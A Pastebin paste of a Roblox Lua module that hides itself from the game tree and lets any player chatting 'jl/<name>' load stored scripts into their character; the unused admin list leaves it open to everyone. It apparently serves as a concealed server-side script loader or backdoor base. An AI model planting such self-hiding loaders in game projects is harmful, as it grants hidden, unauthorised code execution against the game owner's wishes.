Guest User

adsfg

a guest
Aug 19th, 2019
72
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --CREDIT TO CRETERISK FOR THE MODULE BASE
  2.  
  3. wait(0.5)
  4.  
  5. local Module=script;
  6. getfenv().script=nil
  7. Module.Parent = nil
  8. local storage = game:service'ReplicatedStorage'
  9. local plrs = game:service'Players'
  10. local children = {}
  11. _G.IsRunning = false
  12. --local Usrs = setmetatable(19909695,65232538,65232538)
  13.  
  14.  
  15.  
  16. local adminList={1}
  17.  
  18. local IsRan = Module.Objects:FindFirstChild("IsRunning")
  19. IsRan.Parent = game.ReplicatedStorage
  20.  
  21. local users = setmetatable(adminList,{__index=function(self,index)
  22. for _,c in next, self do
  23. if(c==tonumber(index))then
  24. return true
  25. end
  26. end
  27. return false
  28. end})
  29.  
  30. for _,v in next, Module:children() do
  31. children[v.Name]=v:Clone();
  32. v:destroy()
  33. end
  34.  
  35. function GetPlayer(name)
  36. for _,player in next, plrs:players() do
  37. if(player.Name:lower()==name:lower())then
  38. return player
  39. end
  40. end
  41. end
  42.  
  43. function loadScript(scriptName,runner)
  44. local runner = typeof(runner)=='string' and GetPlayer(runner) or runner;
  45. for _,script in next, children.Scripts:children() do
  46. if(script.Name:lower()==scriptName:lower())then
  47. local sc = script:Clone()
  48. sc.Parent = runner.Character;
  49. if(sc:FindFirstChild'PlayerName')then sc:FindFirstChild'PlayerName'.Value = runner.Name end
  50. sc.Disabled=false
  51. end
  52. end
  53. end
  54.  
  55. function connectPlayer(p)
  56. p.Chatted:connect(function(m)
  57. print(m)
  58. if(m:sub(1,3)=="/e ")then
  59. m=m:sub(4)
  60. end
  61. local getString="jl/" -- change this if you want
  62. if(m:sub(1,#getString)==getString)then
  63. loadScript(m:sub(#getString+1),p)
  64. end
  65. end)
  66. end
  67.  
  68. for _, child in pairs(game.ReplicatedStorage:GetChildren()) do
  69. if child.Name == "IsRunning" and child.Value == true then
  70. warn("Module is already running.")
  71. return nil
  72. end
  73. end
  74.  
  75. if _G.IsRunning == true then
  76. warn("Module is already running.")
  77. return nil
  78. end
  79.  
  80.  
  81. IsRan.Value = true
  82. _G.IsRunning = true
  83.  
  84. for _,v in next, game:service'Players':players() do connectPlayer(v) end
  85. game:service'Players'.PlayerAdded:connect(connectPlayer)
  86.  
  87.  
  88. return nil;
RAW Paste Data